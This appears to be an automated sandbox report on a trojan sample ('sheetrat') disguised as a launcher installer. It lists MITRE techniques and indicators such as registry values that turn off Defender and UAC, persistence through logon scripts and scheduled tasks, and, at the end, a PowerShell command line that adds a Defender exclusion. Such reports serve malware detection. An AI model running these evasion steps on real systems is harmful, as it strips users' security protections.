sheetrat | e01045fc1bfecf3957302fd8c1101ba6110b50c25ac51ba292f9d5c56f8f61f1

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	M1004NUS.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	M1004NUS.exe

UAC bypass 3 TTPs 8 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
7076	bcdedit.exe
1944	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 35 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
6812	powershell.exe
5956	powershell.exe
2332	powershell.exe
6272	powershell.exe
3644	powershell.exe
1844	powershell.exe
5112	powershell.exe
6664	powershell.exe
4136	powershell.exe
1900	powershell.exe
2296	powershell.exe
4592	powershell.exe
700	powershell.exe
3396	powershell.exe
5080	powershell.exe
5068	powershell.exe
6560	powershell.exe
3640	powershell.exe
4772	powershell.exe
5476	powershell.exe
600	powershell.exe
3960	powershell.exe
3436	powershell.exe
5592	powershell.exe
1580	powershell.exe
4452	powershell.exe
6664	powershell.exe
4768	powershell.exe
4340	powershell.exe
6904	powershell.exe
6992	powershell.exe
6748	powershell.exe
5588	powershell.exe
3220	powershell.exe
4976	powershell.exe

Drops file in Drivers directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\modem.sys	M1004NUS.exe
File created	C:\Windows\system32\drivers\serial.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\usbprint.sys	M1004NUS.exe
File created	C:\Windows\system32\drivers\usbprint.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\null.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\raspppoe.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\raspptp.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\parport.sys	M1004NUS.exe
File created	C:\Windows\system32\drivers\parport.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\serenum.sys	M1004NUS.exe
File created	C:\Windows\system32\drivers\serenum.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\serial.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\beep.sys	M1004NUS.exe
File opened for modification	C:\Windows\system32\drivers\rasl2tp.sys	M1004NUS.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
2280	netsh.exe
2012	netsh.exe

Possible privilege escalation attempt 22 IoCs

exploit

pid	Process
5600	icacls.exe
4944	icacls.exe
4112	icacls.exe
4872	icacls.exe
6048	icacls.exe
3924	takeown.exe
2656	icacls.exe
1392	icacls.exe
1888	icacls.exe
5892	icacls.exe
600	icacls.exe
2092	takeown.exe
5632	icacls.exe
2340	takeown.exe
5360	icacls.exe
6748	takeown.exe
2884	icacls.exe
1660	icacls.exe
2348	takeown.exe
4496	icacls.exe
3108	icacls.exe
6400	takeown.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 22 IoCs

pid	Process
2312	MicrosoftEdgeUpdate.exe
2396	MicrosoftEdgeUpdate.exe
5520	Process not Found
5980	MicrosoftEdgeUpdate.exe
1900	MicrosoftEdgeUpdate.exe
3544	MicrosoftEdgeUpdate.exe
1008	MicrosoftEdgeUpdate.exe
5272	M1004NUS.exe
7024	MicrosoftEdgeUpdate.exe
5236	M1004NUS.exe
6808	MicrosoftEdgeUpdate.exe
2280	MicrosoftEdgeUpdate.exe
4264	MicrosoftEdgeUpdate.exe
1844	MicrosoftEdgeUpdate.exe
5916	MicrosoftEdgeUpdate.exe
3108	MicrosoftEdgeUpdate.exe
5184	MicrosoftEdgeUpdate.exe
6076	MicrosoftEdgeUpdate.exe
2816	MicrosoftEdgeUpdate.exe
6428	MicrosoftEdgeUpdate.exe
7024	MicrosoftEdgeUpdate.exe
4152	MicrosoftEdgeUpdate.exe

Loads dropped DLL 5 IoCs

pid	Process
5520	Process not Found
4340	powershell.exe
3960	powershell.exe
6664	powershell.exe
5956	powershell.exe

Modifies file permissions 1 TTPs 22 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5360	icacls.exe
4112	icacls.exe
4872	icacls.exe
2656	icacls.exe
1392	icacls.exe
2340	takeown.exe
1888	icacls.exe
5892	icacls.exe
2884	icacls.exe
6400	takeown.exe
2348	takeown.exe
4496	icacls.exe
3924	takeown.exe
2092	takeown.exe
6748	takeown.exe
1660	icacls.exe
5632	icacls.exe
3108	icacls.exe
4944	icacls.exe
600	icacls.exe
6048	icacls.exe
5600	icacls.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 2 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	M1004NUS.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 1 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	M1004NUS.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	MicrosoftEdgeUpdate.exe

Enumerates connected drives 3 TTPs 33 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	mountvol.exe
File opened (read-only)	\??\F:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\E:	mountvol.exe
File opened (read-only)	\??\M:	mountvol.exe
File opened (read-only)	\??\S:	mountvol.exe
File opened (read-only)	\??\Y:	mountvol.exe
File opened (read-only)	\??\W:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\F:	mountvol.exe
File opened (read-only)	\??\H:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\Q:	mountvol.exe
File opened (read-only)	\??\X:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\K:	mountvol.exe
File opened (read-only)	\??\O:	mountvol.exe
File opened (read-only)	\??\P:	mountvol.exe
File opened (read-only)	\??\H:	mountvol.exe
File opened (read-only)	\??\N:	mountvol.exe
File opened (read-only)	\??\E:	Process not Found
File opened (read-only)	\??\J:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\V:	mountvol.exe
File opened (read-only)	\??\J:	mountvol.exe
File opened (read-only)	\??\K:	mountvol.exe
File opened (read-only)	\??\L:	mountvol.exe
File opened (read-only)	\??\R:	mountvol.exe
File opened (read-only)	\??\T:	mountvol.exe
File opened (read-only)	\??\F:	Process not Found
File opened (read-only)	\??\H:	mountvol.exe
File opened (read-only)	\??\U:	mountvol.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\BootFiles\BootExecutor.exe	MicrosoftEdgeUpdate.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe	MicrosoftEdgeUpdate.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	MicrosoftEdgeUpdate.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	M1004NUS.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1708	sc.exe
4280	sc.exe
7080	sc.exe
1428	sc.exe
6420	sc.exe
1108	sc.exe
5892	sc.exe
3536	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 14 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3356	CMD.exe
6984	cmd.exe
4300	cmd.exe
3160	cmd.exe
7148	cmd.exe
2472	cmd.exe
3180	cmd.exe
3248	cmd.exe
5396	cmd.exe
5828	CMD.exe
5392	cmd.exe
5468	cmd.exe
5784	cmd.exe
1176	cmd.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\gogoduck	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	MicrosoftEdgeUpdate.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Process not Found

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3188	schtasks.exe
3192	schtasks.exe
2448	schtasks.exe
4624	schtasks.exe
4844	schtasks.exe
4732	schtasks.exe
6544	schtasks.exe
1924	schtasks.exe
4772	schtasks.exe
6520	schtasks.exe
4632	schtasks.exe
2016	schtasks.exe
2292	schtasks.exe
2800	schtasks.exe
4944	schtasks.exe
556	schtasks.exe
5600	schtasks.exe
6852	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6560	powershell.exe
6560	powershell.exe
5112	powershell.exe
5112	powershell.exe
5112	powershell.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
600	powershell.exe
600	powershell.exe
600	powershell.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
3640	powershell.exe
3640	powershell.exe
3640	powershell.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
2312	MicrosoftEdgeUpdate.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
5272	M1004NUS.exe
5272	M1004NUS.exe
5272	M1004NUS.exe
5272	M1004NUS.exe
5272	M1004NUS.exe
5272	M1004NUS.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5520	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6560	powershell.exe
Token: SeIncreaseQuotaPrivilege	6560	powershell.exe
Token: SeSecurityPrivilege	6560	powershell.exe
Token: SeTakeOwnershipPrivilege	6560	powershell.exe
Token: SeLoadDriverPrivilege	6560	powershell.exe
Token: SeSystemProfilePrivilege	6560	powershell.exe
Token: SeSystemtimePrivilege	6560	powershell.exe
Token: SeProfSingleProcessPrivilege	6560	powershell.exe
Token: SeIncBasePriorityPrivilege	6560	powershell.exe
Token: SeCreatePagefilePrivilege	6560	powershell.exe
Token: SeBackupPrivilege	6560	powershell.exe
Token: SeRestorePrivilege	6560	powershell.exe
Token: SeShutdownPrivilege	6560	powershell.exe
Token: SeDebugPrivilege	6560	powershell.exe
Token: SeSystemEnvironmentPrivilege	6560	powershell.exe
Token: SeRemoteShutdownPrivilege	6560	powershell.exe
Token: SeUndockPrivilege	6560	powershell.exe
Token: SeManageVolumePrivilege	6560	powershell.exe
Token: 33	6560	powershell.exe
Token: 34	6560	powershell.exe
Token: 35	6560	powershell.exe
Token: 36	6560	powershell.exe
Token: SeDebugPrivilege	2312	MicrosoftEdgeUpdate.exe
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeIncreaseQuotaPrivilege	5112	powershell.exe
Token: SeSecurityPrivilege	5112	powershell.exe
Token: SeTakeOwnershipPrivilege	5112	powershell.exe
Token: SeLoadDriverPrivilege	5112	powershell.exe
Token: SeSystemProfilePrivilege	5112	powershell.exe
Token: SeSystemtimePrivilege	5112	powershell.exe
Token: SeProfSingleProcessPrivilege	5112	powershell.exe
Token: SeIncBasePriorityPrivilege	5112	powershell.exe
Token: SeCreatePagefilePrivilege	5112	powershell.exe
Token: SeBackupPrivilege	5112	powershell.exe
Token: SeRestorePrivilege	5112	powershell.exe
Token: SeShutdownPrivilege	5112	powershell.exe
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeSystemEnvironmentPrivilege	5112	powershell.exe
Token: SeRemoteShutdownPrivilege	5112	powershell.exe
Token: SeUndockPrivilege	5112	powershell.exe
Token: SeManageVolumePrivilege	5112	powershell.exe
Token: 33	5112	powershell.exe
Token: 34	5112	powershell.exe
Token: 35	5112	powershell.exe
Token: 36	5112	powershell.exe
Token: SeDebugPrivilege	2396	MicrosoftEdgeUpdate.exe
Token: SeDebugPrivilege	5980	MicrosoftEdgeUpdate.exe
Token: SeDebugPrivilege	600	powershell.exe
Token: SeIncreaseQuotaPrivilege	600	powershell.exe
Token: SeSecurityPrivilege	600	powershell.exe
Token: SeTakeOwnershipPrivilege	600	powershell.exe
Token: SeLoadDriverPrivilege	600	powershell.exe
Token: SeSystemProfilePrivilege	600	powershell.exe
Token: SeSystemtimePrivilege	600	powershell.exe
Token: SeProfSingleProcessPrivilege	600	powershell.exe
Token: SeIncBasePriorityPrivilege	600	powershell.exe
Token: SeCreatePagefilePrivilege	600	powershell.exe
Token: SeBackupPrivilege	600	powershell.exe
Token: SeRestorePrivilege	600	powershell.exe
Token: SeShutdownPrivilege	600	powershell.exe
Token: SeDebugPrivilege	600	powershell.exe
Token: SeSystemEnvironmentPrivilege	600	powershell.exe
Token: SeRemoteShutdownPrivilege	600	powershell.exe
Token: SeUndockPrivilege	600	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5520	Process not Found
5520	Process not Found

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found
5520	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1824 wrote to memory of 6560	1824	NewLauncher-2.0.9-windows-x64.exe	90
PID 1824 wrote to memory of 2312	1824	NewLauncher-2.0.9-windows-x64.exe	93
PID 1824 wrote to memory of 2480	1824	NewLauncher-2.0.9-windows-x64.exe	95
PID 2480 wrote to memory of 5112	2480	NewLauncher-2.0.9-windows-x64.exe	96
PID 2480 wrote to memory of 2396	2480	NewLauncher-2.0.9-windows-x64.exe	98
PID 2480 wrote to memory of 3792	2480	NewLauncher-2.0.9-windows-x64.exe	99
PID 2312 wrote to memory of 4300	2312	MicrosoftEdgeUpdate.exe	100
PID 4300 wrote to memory of 2280	4300	cmd.exe	102
PID 2312 wrote to memory of 1912	2312	MicrosoftEdgeUpdate.exe	103
PID 2312 wrote to memory of 1428	2312	MicrosoftEdgeUpdate.exe	105
PID 2312 wrote to memory of 6420	2312	MicrosoftEdgeUpdate.exe	107
PID 2312 wrote to memory of 1108	2312	MicrosoftEdgeUpdate.exe	109
PID 2312 wrote to memory of 1608	2312	MicrosoftEdgeUpdate.exe	112
PID 3792 wrote to memory of 600	3792	NewLauncher-2.0.9-windows-x64.exe	114
PID 2312 wrote to memory of 6592	2312	MicrosoftEdgeUpdate.exe	116
PID 3792 wrote to memory of 1900	3792	NewLauncher-2.0.9-windows-x64.exe	119
PID 2312 wrote to memory of 7132	2312	MicrosoftEdgeUpdate.exe	220
PID 2312 wrote to memory of 2988	2312	MicrosoftEdgeUpdate.exe	122
PID 3792 wrote to memory of 1396	3792	NewLauncher-2.0.9-windows-x64.exe	124
PID 2312 wrote to memory of 7080	2312	MicrosoftEdgeUpdate.exe	219
PID 2312 wrote to memory of 6984	2312	MicrosoftEdgeUpdate.exe	221
PID 1396 wrote to memory of 2296	1396	NewLauncher-2.0.9-windows-x64.exe	129
PID 2312 wrote to memory of 2180	2312	MicrosoftEdgeUpdate.exe	131
PID 2312 wrote to memory of 2556	2312	MicrosoftEdgeUpdate.exe	222
PID 1396 wrote to memory of 3544	1396	NewLauncher-2.0.9-windows-x64.exe	135
PID 1396 wrote to memory of 4132	1396	NewLauncher-2.0.9-windows-x64.exe	136
PID 2312 wrote to memory of 5604	2312	MicrosoftEdgeUpdate.exe	296
PID 2312 wrote to memory of 6664	2312	MicrosoftEdgeUpdate.exe	292
PID 2312 wrote to memory of 4496	2312	MicrosoftEdgeUpdate.exe	298
PID 2312 wrote to memory of 4128	2312	MicrosoftEdgeUpdate.exe	218
PID 4132 wrote to memory of 3640	4132	NewLauncher-2.0.9-windows-x64.exe	297
PID 2312 wrote to memory of 5896	2312	MicrosoftEdgeUpdate.exe	257
PID 2312 wrote to memory of 2448	2312	MicrosoftEdgeUpdate.exe	150
PID 2312 wrote to memory of 5396	2312	MicrosoftEdgeUpdate.exe	152
PID 4132 wrote to memory of 1008	4132	NewLauncher-2.0.9-windows-x64.exe	154
PID 5396 wrote to memory of 4624	5396	cmd.exe	155
PID 2312 wrote to memory of 6580	2312	MicrosoftEdgeUpdate.exe	156
PID 2312 wrote to memory of 6832	2312	MicrosoftEdgeUpdate.exe	325
PID 2312 wrote to memory of 6196	2312	MicrosoftEdgeUpdate.exe	160
PID 2312 wrote to memory of 5892	2312	MicrosoftEdgeUpdate.exe	324
PID 2312 wrote to memory of 4844	2312	MicrosoftEdgeUpdate.exe	164
PID 2312 wrote to memory of 856	2312	MicrosoftEdgeUpdate.exe	166
PID 2312 wrote to memory of 5828	2312	MicrosoftEdgeUpdate.exe	167
PID 2312 wrote to memory of 7148	2312	MicrosoftEdgeUpdate.exe	168
PID 2312 wrote to memory of 5468	2312	MicrosoftEdgeUpdate.exe	169
PID 2312 wrote to memory of 3160	2312	MicrosoftEdgeUpdate.exe	170
PID 2312 wrote to memory of 5392	2312	MicrosoftEdgeUpdate.exe	171
PID 5520 wrote to memory of 6468	5520	Process not Found
PID 5520 wrote to memory of 6468	5520	Process not Found
PID 5392 wrote to memory of 6520	5392	cmd.exe	179
PID 7148 wrote to memory of 2800	7148	cmd.exe	180
PID 5468 wrote to memory of 4732	5468	cmd.exe	181
PID 3160 wrote to memory of 4944	3160	cmd.exe	320
PID 5828 wrote to memory of 6388	5828	CMD.exe	183
PID 4132 wrote to memory of 5400	4132	NewLauncher-2.0.9-windows-x64.exe	184
PID 2312 wrote to memory of 5272	2312	MicrosoftEdgeUpdate.exe	185
PID 2312 wrote to memory of 1940	2312	MicrosoftEdgeUpdate.exe	186
PID 5400 wrote to memory of 4340	5400	NewLauncher-2.0.9-windows-x64.exe	189
PID 5272 wrote to memory of 5784	5272	M1004NUS.exe	191
PID 5784 wrote to memory of 2012	5784	cmd.exe	193
PID 5272 wrote to memory of 3456	5272	M1004NUS.exe	194
PID 5272 wrote to memory of 3536	5272	M1004NUS.exe	311
PID 5272 wrote to memory of 1708	5272	M1004NUS.exe	198
PID 5272 wrote to memory of 4280	5272	M1004NUS.exe	200

System policy modification 1 TTPs 12 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6560
- C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
  "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - UAC bypass
  - Executes dropped EXE
  - Registers new Windows logon scripts automatically executed at logon.
  - Checks whether UAC is enabled
